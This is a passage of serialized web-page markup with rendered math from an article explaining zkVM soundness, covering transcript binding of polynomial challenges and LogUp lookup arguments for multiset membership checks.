73,112177],{"type":23,"tag":134,"props":112174,"children":112176},{"className":112175,"style":111730},[1252],[],{"type":23,"tag":134,"props":112178,"children":112180},{"className":112179},[1211,21066],[112181],{"type":28,"value":393},{"type":23,"tag":134,"props":112183,"children":112184},{"style":112092},[112185,112189],{"type":23,"tag":134,"props":112186,"children":112188},{"className":112187,"style":111730},[1252],[],{"type":23,"tag":134,"props":112190,"children":112192},{"className":112191,"style":111951},[111748],[112193],{"type":23,"tag":134,"props":112194,"children":112196},{"className":112195,"style":111824},[111823],[112197],{"type":23,"tag":33770,"props":112198,"children":112199},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112200],{"type":23,"tag":111836,"props":112201,"children":112202},{"d":111838},[],{"type":23,"tag":134,"props":112204,"children":112206},{"className":112205},[1324],[112207],{"type":28,"value":1327},{"type":23,"tag":134,"props":112209,"children":112211},{"className":112210,"style":1331},[1292],[],{"type":23,"tag":134,"props":112213,"children":112215},{"className":112214},[1211,111708],[112216],{"type":23,"tag":134,"props":112217,"children":112219},{"className":112218},[1233],[112220],{"type":23,"tag":134,"props":112221,"children":112223},{"className":112222},[1238],[112224],{"type":23,"tag":134,"props":112225,"children":112227},{"className":112226,"style":111794},[1243],[112228,112240],{"type":23,"tag":134,"props":112229,"children":112230},{"style":111725},[112231,112235],{"type":23,"tag":134,"props":112232,"children":112234},{"className":112233,"style":111730},[1252],[],{"type":23,"tag":134,"props":112236,"children":112238},{"className":112237,"style":92559},[1211,21066],[112239],{"type":28,"value":93378},{"type":23,"tag":134,"props":112241,"children":112242},{"style":111725},[112243,112247],{"type":23,"tag":134,"props":112244,"children":112246},{"className":112245,"style":111730},[1252],[],{"type":23,"tag":134,"props":112248,"children":112250},{"className":112249,"style":111818},[111748],[112251],{"type":23,"tag":134,"props":112252,"children":112254},{"className":112253,"style":111824},[111823],[112255],{"type":23,"tag":33770,"props":112256,"children":112257},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112258],{"type":23,"tag":111836,"props":112259,"children":112260},{"d":111838},[],{"type":23,"tag":134,"props":112262,"children":112264},{"className":112263},[21217],[112265],{"type":28,"value":296},{"type":23,"tag":24,"props":112267,"children":112268},{},[112269,112271,112340,112342,112488,112490,112629,112631,112715],{"type":28,"value":112270},"At a fixed challenge point ",{"type":23,"tag":92,"props":112272,"children":112274},{"className":112273},[1183,1184],[112275],{"type":23,"tag":134,"props":112276,"children":112278},{"className":112277},[1189],[112279],{"type":23,"tag":134,"props":112280,"children":112282},{"className":112281,"ariaHidden":1195},[1194],[112283],{"type":23,"tag":134,"props":112284,"children":112286},{"className":112285},[1200],[112287,112291],{"type":23,"tag":134,"props":112288,"children":112290},{"className":112289,"style":111794},[1205],[],{"type":23,"tag":134,"props":112292,"children":112294},{"className":112293},[1211,111708],[112295],{"type":23,"tag":134,"props":112296,"children":112298},{"className":112297},[1233],[112299],{"type":23,"tag":134,"props":112300,"children":112302},{"className":112301},[1238],[112303],{"type":23,"tag":134,"props":112304,"children":112306},{"className":112305,"style":111794},[1243],[112307,112319],{"type":23,"tag":134,"props":112308,"children":112309},{"style":111725},[112310,112314],{"type":23,"tag":134,"props":112311,"children":112313},{"className":112312,"style":111730},[1252],[],{"type":23,"tag":134,"props":112315,"children":112317},{"className":112316,"style":92559},[1211,21066],[112318],{"type":28,"value":93378},{"type":23,"tag":134,"props":112320,"children":112321},{"style":111725},[112322,112326],{"type":23,"tag":134,"props":112323,"children":112325},{"className":112324,"style":111730},[1252],[],{"type":23,"tag":134,"props":112327,"children":112329},{"className":112328,"style":111818},[111748],[112330],{"type":23,"tag":134,"props":112331,"children":112333},{"className":112332,"style":111824},[111823],[112334],{"type":23,"tag":33770,"props":112335,"children":112336},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112337],{"type":23,"tag":111836,"props":112338,"children":112339},{"d":111838},[],{"type":28,"value":112341},", the coefficients ",{"type":23,"tag":92,"props":112343,"children":112345},{"className":112344},[1183,1184],[112346],{"type":23,"tag":134,"props":112347,"children":112349},{"className":112348},[1189],[112350],{"type":23,"tag":134,"props":112351,"children":112353},{"className":112352,"ariaHidden":1195},[1194],[112354],{"type":23,"tag":134,"props":112355,"children":112357},{"className":112356},[1200],[112358,112362,112371,112376,112425,112430,112434,112483],{"type":23,"tag":134,"props":112359,"children":112361},{"className":112360,"style":112137},[1205],[],{"type":23,"tag":134,"props":112363,"children":112365},{"className":112364},[1211,28],[112366],{"type":23,"tag":134,"props":112367,"children":112369},{"className":112368},[1211],[112370],{"type":28,"value":112148},{"type":23,"tag":134,"props":112372,"children":112374},{"className":112373},[21195],[112375],{"type":28,"value":272},{"type":23,"tag":134,"props":112377,"children":112379},{"className":112378},[1211,111708],[112380],{"type":23,"tag":134,"props":112381,"children":112383},{"className":112382},[1233],[112384],{"type":23,"tag":134,"props":112385,"children":112387},{"className":112386},[1238],[112388],{"type":23,"tag":134,"props":112389,"children":112391},{"className":112390,"style":111924},[1243],[112392,112404],{"type":23,"tag":134,"props":112393,"children":112394},{"style":111725},[112395,112399],{"type":23,"tag":134,"props":112396,"children":112398},{"className":112397,"style":111730},[1252],[],{"type":23,"tag":134,"props":112400,"children":112402},{"className":112401},[1211,21066],[112403],{"type":28,"value":393},{"type":23,"tag":134,"props":112405,"children":112406},{"style":112092},[112407,112411],{"type":23,"tag":134,"props":112408,"children":112410},{"className":112409,"style":111730},[1252],[],{"type":23,"tag":134,"props":112412,"children":112414},{"className":112413,"style":111951},[111748],[112415],{"type":23,"tag":134,"props":112416,"children":112418},{"className":112417,"style":111824},[111823],[112419],{"type":23,"tag":33770,"props":112420,"children":112421},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112422],{"type":23,"tag":111836,"props":112423,"children":112424},{"d":111838},[],{"type":23,"tag":134,"props":112426,"children":112428},{"className":112427},[1324],[112429],{"type":28,"value":1327},{"type":23,"tag":134,"props":112431,"children":112433},{"className":112432,"style":1331},[1292],[],{"type":23,"tag":134,"props":112435,"children":112437},{"className":112436},[1211,111708],[112438],{"type":23,"tag":134,"props":112439,"children":112441},{"className":112440},[1233],[112442],{"type":23,"tag":134,"props":112443,"children":112445},{"className":112444},[1238],[112446],{"type":23,"tag":134,"props":112447,"children":112449},{"className":112448,"style":111794},[1243],[112450,112462],{"type":23,"tag":134,"props":112451,"children":112452},{"style":111725},[112453,112457],{"type":23,"tag":134,"props":112454,"children":112456},{"className":112455,"style":111730},[1252],[],{"type":23,"tag":134,"props":112458,"children":112460},{"className":112459,"style":92559},[1211,21066],[112461],{"type":28,"value":93378},{"type":23,"tag":134,"props":112463,"children":112464},{"style":111725},[112465,112469],{"type":23,"tag":134,"props":112466,"children":112468},{"className":112467,"style":111730},[1252],[],{"type":23,"tag":134,"props":112470,"children":112472},{"className":112471,"style":111818},[111748],[112473],{"type":23,"tag":134,"props":112474,"children":112476},{"className":112475,"style":111824},[111823],[112477],{"type":23,"tag":33770,"props":112478,"children":112479},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112480],{"type":23,"tag":111836,"props":112481,"children":112482},{"d":111838},[],{"type":23,"tag":134,"props":112484,"children":112486},{"className":112485},[21217],[112487],{"type":28,"value":296},{"type":28,"value":112489}," are constants, so ",{"type":23,"tag":92,"props":112491,"children":112493},{"className":112492},[1183,1184],[112494],{"type":23,"tag":134,"props":112495,"children":112497},{"className":112496},[1189],[112498],{"type":23,"tag":134,"props":112499,"children":112501},{"className":112500,"ariaHidden":1195},[1194],[112502],{"type":23,"tag":134,"props":112503,"children":112505},{"className":112504},[1200],[112506,112510,112570,112575,112624],{"type":23,"tag":134,"props":112507,"children":112509},{"className":112508,"style":111703},[1205],[],{"type":23,"tag":134,"props":112511,"children":112513},{"className":112512},[1211,111708],[112514],{"type":23,"tag":134,"props":112515,"children":112517},{"className":112516},[1233,21120],[112518,112559],{"type":23,"tag":134,"props":112519,"children":112521},{"className":112520},[1238],[112522,112554],{"type":23,"tag":134,"props":112523,"children":112525},{"className":112524,"style":111721},[1243],[112526,112538],{"type":23,"tag":134,"props":112527,"children":112528},{"style":111725},[112529,112533],{"type":23,"tag":134,"props":112530,"children":112532},{"className":112531,"style":111730},[1252],[],{"type":23,"tag":134,"props":112534,"children":112536},{"className":112535,"style":94913},[1211,21066],[112537],{"type":28,"value":32581},{"type":23,"tag":134,"props":112539,"children":112540},{"style":111739},[112541,112545],{"type":23,"tag":134,"props":112542,"children":112544},{"className":112543,"style":111730},[1252],[],{"type":23,"tag":134,"props":112546,"children":112548},{"className":112547,"style":111749},[111748],[112549],{"type":23,"tag":134,"props":112550,"children":112552},{"className":112551},[1211],[112553],{"type":28,"value":111756},{"type":23,"tag":134,"props":112555,"children":112557},{"className":112556},[21223],[112558],{"type":28,"value":21226},{"type":23,"tag":134,"props":112560,"children":112562},{"className":112561},[1238],[112563],{"type":23,"tag":134,"props":112564,"children":112566},{"className":112565,"style":111769},[1243],[112567],{"type":23,"tag":134,"props":112568,"children":112569},{},[],{"type":23,"tag":134,"props":112571,"children":112573},{"className":112572},[21195],[112574],{"type":28,"value":272},{"type":23,"tag":134,"props":112576,"children":112578},{"className":112577},[1211,111708],[112579],{"type":23,"tag":134,"props":112580,"children":112582},{"className":112581},[1233],[112583],{"type":23,"tag":134,"props":112584,"children":112586},{"className":112585},[1238],[112587],{"type":23,"tag":134,"props":112588,"children":112590},{"className":112589,"style":111794},[1243],[112591,112603],{"type":23,"tag":134,"props":112592,"children":112593},{"style":111725},[112594,112598],{"type":23,"tag":134,"props":112595,"children":112597},{"className":112596,"style":111730},[1252],[],{"type":23,"tag":134,"props":112599,"children":112601},{"className":112600,"style":92559},[1211,21066],[112602],{"type":28,"value":93378},{"type":23,"tag":134,"props":112604,"children":112605},{"style":111725},[112606,112610],{"type":23,"tag":134,"props":112607,"children":112609},{"className":112608,"style":111730},[1252],[],{"type":23,"tag":134,"props":112611,"children":112613},{"className":112612,"style":111818},[111748],[112614],{"type":23,"tag":134,"props":112615,"children":112617},{"className":112616,"style":111824},[111823],[112618],{"type":23,"tag":33770,"props":112619,"children":112620},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112621],{"type":23,"tag":111836,"props":112622,"children":112623},{"d":111838},[],{"type":23,"tag":134,"props":112625,"children":112627},{"className":112626},[21217],[112628],{"type":28,"value":296},{"type":28,"value":112630}," is linear in the table values ",{"type":23,"tag":92,"props":112632,"children":112634},{"className":112633},[1183,1184],[112635],{"type":23,"tag":134,"props":112636,"children":112638},{"className":112637},[1189],[112639],{"type":23,"tag":134,"props":112640,"children":112642},{"className":112641,"ariaHidden":1195},[1194],[112643],{"type":23,"tag":134,"props":112644,"children":112646},{"className":112645},[1200],[112647,112651,112656,112661,112710],{"type":23,"tag":134,"props":112648,"children":112650},{"className":112649,"style":112137},[1205],[],{"type":23,"tag":134,"props":112652,"children":112654},{"className":112653,"style":94913},[1211,21066],[112655],{"type":28,"value":32581},{"type":23,"tag":134,"props":112657,"children":112659},{"className":112658},[21195],[112660],{"type":28,"value":272},{"type":23,"tag":134,"props":112662,"children":112664},{"className":112663},[1211,111708],[112665],{"type":23,"tag":134,"props":112666,"children":112668},{"className":112667},[1233],[112669],{"type":23,"tag":134,"props":112670,"children":112672},{"className":112671},[1238],[112673],{"type":23,"tag":134,"props":112674,"children":112676},{"className":112675,"style":111924},[1243],[112677,112689],{"type":23,"tag":134,"props":112678,"children":112679},{"style":111725},[112680,112684],{"type":23,"tag":134,"props":112681,"children":112683},{"className":112682,"style":111730},[1252],[],{"type":23,"tag":134,"props":112685,"children":112687},{"className":112686},[1211,21066],[112688],{"type":28,"value":393},{"type":23,"tag":134,"props":112690,"children":112691},{"style":112092},[112692,112696],{"type":23,"tag":134,"props":112693,"children":112695},{"className":112694,"style":111730},[1252],[],{"type":23,"tag":134,"props":112697,"children":112699},{"className":112698,"style":111951},[111748],[112700],{"type":23,"tag":134,"props":112701,"children":112703},{"className":112702,"style":111824},[111823],[112704],{"type":23,"tag":33770,"props":112705,"children":112706},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112707],{"type":23,"tag":111836,"props":112708,"children":112709},{"d":111838},[],{"type":23,"tag":134,"props":112711,"children":112713},{"className":112712},[21217],[112714],{"type":28,"value":296},{"type":28,"value":720},{"type":23,"tag":24,"props":112717,"children":112718},{},[112719,112721,112790],{"type":28,"value":112720},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":92,"props":112722,"children":112724},{"className":112723},[1183,1184],[112725],{"type":23,"tag":134,"props":112726,"children":112728},{"className":112727},[1189],[112729],{"type":23,"tag":134,"props":112730,"children":112732},{"className":112731,"ariaHidden":1195},[1194],[112733],{"type":23,"tag":134,"props":112734,"children":112736},{"className":112735},[1200],[112737,112741],{"type":23,"tag":134,"props":112738,"children":112740},{"className":112739,"style":111794},[1205],[],{"type":23,"tag":134,"props":112742,"children":112744},{"className":112743},[1211,111708],[112745],{"type":23,"tag":134,"props":112746,"children":112748},{"className":112747},[1233],[112749],{"type":23,"tag":134,"props":112750,"children":112752},{"className":112751},[1238],[112753],{"type":23,"tag":134,"props":112754,"children":112756},{"className":112755,"style":111794},[1243],[112757,112769],{"type":23,"tag":134,"props":112758,"children":112759},{"style":111725},[112760,112764],{"type":23,"tag":134,"props":112761,"children":112763},{"className":112762,"style":111730},[1252],[],{"type":23,"tag":134,"props":112765,"children":112767},{"className":112766,"style":92559},[1211,21066],[112768],{"type":28,"value":93378},{"type":23,"tag":134,"props":112770,"children":112771},{"style":111725},[112772,112776],{"type":23,"tag":134,"props":112773,"children":112775},{"className":112774,"style":111730},[1252],[],{"type":23,"tag":134,"props":112777,"children":112779},{"className":112778,"style":111818},[111748],[112780],{"type":23,"tag":134,"props":112781,"children":112783},{"className":112782,"style":111824},[111823],[112784],{"type":23,"tag":33770,"props":112785,"children":112786},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[112787],{"type":23,"tag":111836,"props":112788,"children":112789},{"d":111838},[],{"type":28,"value":112791}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":9072,"props":112793,"children":112795},{"id":112794},"lookup-arguments-logup",[112796],{"type":28,"value":112797},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":112799,"children":112800},{},[112801],{"type":28,"value":112802},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":16158,"props":112804,"children":112805},{},[112806,112862,112867],{"type":23,"tag":4894,"props":112807,"children":112808},{},[112809,112811,112861],{"type":28,"value":112810},"Is this byte in range ",{"type":23,"tag":92,"props":112812,"children":112814},{"className":112813},[1183,1184],[112815],{"type":23,"tag":134,"props":112816,"children":112818},{"className":112817},[1189],[112819],{"type":23,"tag":134,"props":112820,"children":112822},{"className":112821,"ariaHidden":1195},[1194],[112823],{"type":23,"tag":134,"props":112824,"children":112826},{"className":112825},[1200],[112827,112831,112836,112841,112846,112850,112856],{"type":23,"tag":134,"props":112828,"children":112830},{"className":112829,"style":1313},[1205],[],{"type":23,"tag":134,"props":112832,"children":112834},{"className":112833},[21195],[112835],{"type":28,"value":924},{"type":23,"tag":134,"props":112837,"children":112839},{"className":112838},[1211],[112840],{"type":28,"value":1224},{"type":23,"tag":134,"props":112842,"children":112844},{"className":112843},[1324],[112845],{"type":28,"value":1327},{"type":23,"tag":134,"props":112847,"children":112849},{"className":112848,"style":1331},[1292],[],{"type":23,"tag":134,"props":112851,"children":112853},{"className":112852},[1211],[112854],{"type":28,"value":112855},"255",{"type":23,"tag":134,"props":112857,"children":112859},{"className":112858},[21217],[112860],{"type":28,"value":14880},{"type":28,"value":324},{"type":23,"tag":4894,"props":112863,"children":112864},{},[112865],{"type":28,"value":112866},"Does this opcode decode correctly?",{"type":23,"tag":4894,"props":112868,"children":112869},{},[112870],{"type":28,"value":112871},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":112873,"children":112874},{},[112875,112880],{"type":23,"tag":2532,"props":112876,"children":112877},{},[112878],{"type":28,"value":112879},"The naive approach:",{"type":28,"value":112881}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":112883,"children":112884},{},[112885,112890,112892,112897],{"type":23,"tag":2532,"props":112886,"children":112887},{},[112888],{"type":28,"value":112889},"The clever approach:",{"type":28,"value":112891}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":2532,"props":112893,"children":112894},{},[112895],{"type":28,"value":112896},"multiset membership",{"type":28,"value":67305},{"type":23,"tag":24,"props":112899,"children":112900},{},[112901,112906],{"type":23,"tag":2532,"props":112902,"children":112903},{},[112904],{"type":28,"value":112905},"LogUp (Logarithmic Derivative):",{"type":28,"value":112907}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":112909,"children":112910},{},[112911,112913,112938,112940,112967],{"type":28,"value":112912},"If set ",{"type":23,"tag":92,"props":112914,"children":112916},{"className":112915},[1183,1184],[112917],{"type":23,"tag":134,"props":112918,"children":112920},{"className":112919},[1189],[112921],{"type":23,"tag":134,"props":112922,"children":112924},{"className":112923,"ariaHidden":1195},[1194],[112925],{"type":23,"tag":134,"props":112926,"children":112928},{"className":112927},[1200],[112929,112933],{"type":23,"tag":134,"props":112930,"children":112932},{"className":112931,"style":21061},[1205],[],{"type":23,"tag":134,"props":112934,"children":112936},{"className":112935},[1211,21066],[112937],{"type":28,"value":76279},{"type":28,"value":112939}," should equal set ",{"type":23,"tag":92,"props":112941,"children":112943},{"className":112942},[1183,1184],[112944],{"type":23,"tag":134,"props":112945,"children":112947},{"className":112946},[1189],[112948],{"type":23,"tag":134,"props":112949,"children":112951},{"className":112950,"ariaHidden":1195},[1194],[112952],{"type":23,"tag":134,"props":112953,"children":112955},{"className":112954},[1200],[112956,112960],{"type":23,"tag":134,"props":112957,"children":112959},{"className":112958,"style":21061},[1205],[],{"type":23,"tag":134,"props":112961,"children":112964},{"className":112962,"style":112963},[1211,21066],"margin-right:0.05017em;",[112965],{"type":28,"value":112966},"B",{"type":28,"value":112968}," as multisets:",{"type":23,"tag":24,"props":112970,"children":112971},{},[112972],{"type":23,"tag":92,"props":112973,"children":112975},{"className":112974},[1183,1184],[112976],{"type":23,"tag":134,"props":112977,"children":112979},{"className":112978},[1189],[112980],{"type":23,"tag":134,"props":112981,"children":112983},{"className":112982,"ariaHidden":1195},[1194],[112984,113199],{"type":23,"tag":134,"props":112985,"children":112987},{"className":112986},[1200],[112988,112993,113066,113070,113186,113190,113195],{"type":23,"tag":134,"props":112989,"children":112992},{"className":112990,"style":112991},[1205],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":134,"props":112994,"children":112996},{"className":112995},[21102],[112997,113002],{"type":23,"tag":134,"props":112998,"children":113000},{"className":112999,"style":21109},[21102,21107,21108],[113001],{"type":28,"value":108354},{"type":23,"tag":134,"props":113003,"children":113005},{"className":113004},[1228],[113006],{"type":23,"tag":134,"props":113007,"children":113009},{"className":113008},[1233,21120],[113010,113054],{"type":23,"tag":134,"props":113011,"children":113013},{"className":113012},[1238],[113014,113049],{"type":23,"tag":134,"props":113015,"children":113018},{"className":113016,"style":113017},[1243],"height:0.1786em;",[113019],{"type":23,"tag":134,"props":113020,"children":113021},{"style":21133},[113022,113026],{"type":23,"tag":134,"props":113023,"children":113025},{"className":113024,"style":1253},[1252],[],{"type":23,"tag":134,"props":113027,"children":113029},{"className":113028},[1258,1259,1260,1261],[113030],{"type":23,"tag":134,"props":113031,"children":113033},{"className":113032},[1211,1261],[113034,113039,113044],{"type":23,"tag":134,"props":113035,"children":113037},{"className":113036},[1211,21066,1261],[113038],{"type":28,"value":31},{"type":23,"tag":134,"props":113040,"children":113042},{"className":113041},[1395,1261],[113043],{"type":28,"value":21173},{"type":23,"tag":134,"props":113045,"children":113047},{"className":113046},[1211,21066,1261],[113048],{"type":28,"value":76279},{"type":23,"tag":134,"props":113050,"children":113052},{"className":113051},[21223],[113053],{"type":28,"value":21226},{"type":23,"tag":134,"props":113055,"children":113057},{"className":113056},[1238],[113058],{"type":23,"tag":134,"props":113059,"children":113062},{"className":113060,"style":113061},[1243],"height:0.3271em;",[113063],{"type":23,"tag":134,"props":113064,"children":113065},{},[],{"type":23,"tag":134,"props":113067,"children":113069},{"className":113068,"style":1331},[1292],[],{"type":23,"tag":134,"props":113071,"children":113073},{"className":113072},[1211],[113074,113079,113182],{"type":23,"tag":134,"props":113075,"children":113078},{"className":113076},[21195,113077],"nulldelimiter",[],{"type":23,"tag":134,"props":113080,"children":113083},{"className":113081},[113082],"mfrac",[113084],{"type":23,"tag":134,"props":113085,"children":113087},{"className":113086},[1233,21120],[113088,113170],{"type":23,"tag":134,"props":113089,"children":113091},{"className":113090},[1238],[113092,113165],{"type":23,"tag":134,"props":113093,"children":113096},{"className":113094,"style":113095},[1243],"height:0.8451em;",[113097,113130,113144],{"type":23,"tag":134,"props":113098,"children":113100},{"style":113099},"top:-2.655em;",[113101,113105],{"type":23,"tag":134,"props":113102,"children":113104},{"className":113103,"style":111730},[1252],[],{"type":23,"tag":134,"props":113106,"children":113108},{"className":113107},[1258,1259,1260,1261],[113109],{"type":23,"tag":134,"props":113110,"children":113112},{"className":113111},[1211,1261],[113113,113120,113125],{"type":23,"tag":134,"props":113114,"children":113117},{"className":113115,"style":113116},[1211,21066,1261],"margin-right:0.04398em;",[113118],{"type":28,"value":113119},"z",{"type":23,"tag":134,"props":113121,"children":113123},{"className":113122},[1298,1261],[113124],{"type":28,"value":1272},{"type":23,"tag":134,"props":113126,"children":113128},{"className":113127},[1211,21066,1261],[113129],{"type":28,"value":31},{"type":23,"tag":134,"props":113131,"children":113133},{"style":113132},"top:-3.23em;",[113134,113138],{"type":23,"tag":134,"props":113135,"children":113137},{"className":113136,"style":111730},[1252],[],{"type":23,"tag":134,"props":113139,"children":113143},{"className":113140,"style":113142},[113141],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":134,"props":113145,"children":113147},{"style":113146},"top:-3.394em;",[113148,113152],{"type":23,"tag":134,"props":113149,"children":113151},{"className":113150,"style":111730},[1252],[],{"type":23,"tag":134,"props":113153,"children":113155},{"className":113154},[1258,1259,1260,1261],[113156],{"type":23,"tag":134,"props":113157,"children":113159},{"className":113158},[1211,1261],[113160],{"type":23,"tag":134,"props":113161,"children":113163},{"className":113162},[1211,1261],[113164],{"type":28,"value":1214},{"type":23,"tag":134,"props":113166,"children":113168},{"className":113167},[21223],[113169],{"type":28,"value":21226},{"type":23,"tag":134,"props":113171,"children":113173},{"className":113172},[1238],[113174],{"type":23,"tag":134,"props":113175,"children":113178},{"className":113176,"style":113177},[1243],"height:0.4033em;",[113179],{"type":23,"tag":134,"props":113180,"children":113181},{},[],{"type":23,"tag":134,"props":113183,"children":113185},{"className":113184},[21217,113077],[],{"type":23,"tag":134,"props":113187,"children":113189},{"className":113188,"style":1390},[1292],[],{"type":23,"tag":134,"props":113191,"children":113193},{"className":113192},[1395],[113194],{"type":28,"value":257},{"type":23,"tag":134,"props":113196,"children":113198},{"className":113197,"style":1390},[1292],[],{"type":23,"tag":134,"props":113200,"children":113202},{"className":113201},[1200],[113203,113207,113279,113283],{"type":23,"tag":134,"props":113204,"children":113206},{"className":113205,"style":112991},[1205],[],{"type":23,"tag":134,"props":113208,"children":113210},{"className":113209},[21102],[113211,113216],{"type":23,"tag":134,"props":113212,"children":113214},{"className":113213,"style":21109},[21102,21107,21108],[113215],{"type":28,"value":108354},{"type":23,"tag":134,"props":113217,"children":113219},{"className":113218},[1228],[113220],{"type":23,"tag":134,"props":113221,"children":113223},{"className":113222},[1233,21120],[113224,113268],{"type":23,"tag":134,"props":113225,"children":113227},{"className":113226},[1238],[113228,113263],{"type":23,"tag":134,"props":113229,"children":113232},{"className":113230,"style":113231},[1243],"height:0.1864em;",[113233],{"type":23,"tag":134,"props":113234,"children":113235},{"style":21133},[113236,113240],{"type":23,"tag":134,"props":113237,"children":113239},{"className":113238,"style":1253},[1252],[],{"type":23,"tag":134,"props":113241,"children":113243},{"className":113242},[1258,1259,1260,1261],[113244],{"type":23,"tag":134,"props":113245,"children":113247},{"className":113246},[1211,1261],[113248,113253,113258],{"type":23,"tag":134,"props":113249,"children":113251},{"className":113250},[1211,21066,1261],[113252],{"type":28,"value":393},{"type":23,"tag":134,"props":113254,"children":113256},{"className":113255},[1395,1261],[113257],{"type":28,"value":21173},{"type":23,"tag":134,"props":113259,"children":113261},{"className":113260,"style":112963},[1211,21066,1261],[113262],{"type":28,"value":112966},{"type":23,"tag":134,"props":113264,"children":113266},{"className":113265},[21223],[113267],{"type":28,"value":21226},{"type":23,"tag":134,"props":113269,"children":113271},{"className":113270},[1238],[113272],{"type":23,"tag":134,"props":113273,"children":113275},{"className":113274,"style":113061},[1243],[113276],{"type":23,"tag":134,"props":113277,"children":113278},{},[],{"type":23,"tag":134,"props":113280,"children":113282},{"className":113281,"style":1331},[1292],[],{"type":23,"tag":134,"props":113284,"children":113286},{"className":113285},[1211],[113287,113291,113384],{"type":23,"tag":134,"props":113288,"children":113290},{"className":113289},[21195,113077],[],{"type":23,"tag":134,"props":113292,"children":113294},{"className":113293},[113082],[113295],{"type":23,"tag":134,"props":113296,"children":113298},{"className":113297},[1233,21120],[113299,113373],{"type":23,"tag":134,"props":113300,"children":113302},{"className":113301},[1238],[113303,113368],{"type":23,"tag":134,"props":113304,"children":113306},{"className":113305,"style":113095},[1243],[113307,113337,113348],{"type":23,"tag":134,"props":113308,"children":113309},{"style":113099},[113310,113314],{"type":23,"tag":134,"props":113311,"children":113313},{"className":113312,"style":111730},[1252],[],{"type":23,"tag":134,"props":113315,"children":113317},{"className":113316},[1258,1259,1260,1261],[113318],{"type":23,"tag":134,"props":113319,"children":113321},{"className":113320},[1211,1261],[113322,113327,113332],{"type":23,"tag":134,"props":113323,"children":113325},{"className":113324,"style":113116},[1211,21066,1261],[113326],{"type":28,"value":113119},{"type":23,"tag":134,"props":113328,"children":113330},{"className":113329},[1298,1261],[113331],{"type":28,"value":1272},{"type":23,"tag":134,"props":113333,"children":113335},{"className":113334},[1211,21066,1261],[113336],{"type":28,"value":393},{"type":23,"tag":134,"props":113338,"children":113339},{"style":113132},[113340,113344],{"type":23,"tag":134,"props":113341,"children":113343},{"className":113342,"style":111730},[1252],[],{"type":23,"tag":134,"props":113345,"children":113347},{"className":113346,"style":113142},[113141],[],{"type":23,"tag":134,"props":113349,"children":113350},{"style":113146},[113351,113355],{"type":23,"tag":134,"props":113352,"children":113354},{"className":113353,"style":111730},[1252],[],{"type":23,"tag":134,"props":113356,"children":113358},{"className":113357},[1258,1259,1260,1261],[113359],{"type":23,"tag":134,"props":113360,"children":113362},{"className":113361},[1211,1261],[113363],{"type":23,"tag":134,"props":113364,"children":113366},{"className":113365},[1211,1261],[113367],{"type":28,"value":1214},{"type":23,"tag":134,"props":113369,"children":113371},{"className":113370},[21223],[113372],{"type":28,"value":21226},{"type":23,"tag":134,"props":113374,"children":113376},{"className":113375},[1238],[113377],{"type":23,"tag":134,"props":113378,"children":113380},{"className":113379,"style":113177},[1243],[113381],{"type":23,"tag":134,"props":113382,"children":113383},{},[],{"type":23,"tag":134,"props":113385,"children":113387},{"className":113386},[21217,113077],[],{"type":23,"tag":24,"props":113389,"children":113390},{},[113391,113393,113418],{"type":28,"value":113392},"for random challenge ",{"type":23,"tag":92,"props":113394,"children":113396},{"className":113395},[1183,1184],[113397],{"type":23,"tag":134,"props":113398,"children":113400},{"className":113399},[1189],[113401],{"type":23,"tag":134,"props":113402,"children":113404},{"className":113403,"ariaHidden":1195},[1194],[113405],{"type":23,"tag":134,"props":113406,"children":113408},{"className":113407},[1200],[113409,113413],{"type":23,"tag":134,"props":113410,"children":113412},{"className":113411,"style":110400},[1205],[],{"type":23,"tag":134,"props":113414,"children":113416},{"className":113415,"style":113116},[1211,21066],[113417],{"type":28,"value":113119},{"type":28,"value":113419},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":113421,"children":113422},{},[113423,113428],{"type":23,"tag":2532,"props":113424,"children":113425},{},[113426],{"type":28,"value":113427},"In zkVMs:",{"type":28,"value":113429}," Different components emit and consume lookup tuples:",{"type":23,"tag":16158,"props":113431,"children":113432},{},[113433,113520],{"type":23,"tag":4894,"props":113434,"children":113435},{},[113436,113438,113464,113466,113491,113493,113519],{"type":28,"value":113437},"CPU emits: \"I read value ",{"type":23,"tag":92,"props":113439,"children":113441},{"className":113440},[1183,1184],[113442],{"type":23,"tag":134,"props":113443,"children":113445},{"className":113444},[1189],[113446],{"type":23,"tag":134,"props":113447,"children":113449},{"className":113448,"ariaHidden":1195},[1194],[113450],{"type":23,"tag":134,"props":113451,"children":113453},{"className":113452},[1200],[113454,113458],{"type":23,"tag":134,"props":113455,"children":113457},{"className":113456,"style":110400},[1205],[],{"type":23,"tag":134,"props":113459,"children":113461},{"className":113460,"style":93045},[1211,21066],[113462],{"type":28,"value":113463},"v",{"type":28,"value":113465}," from address 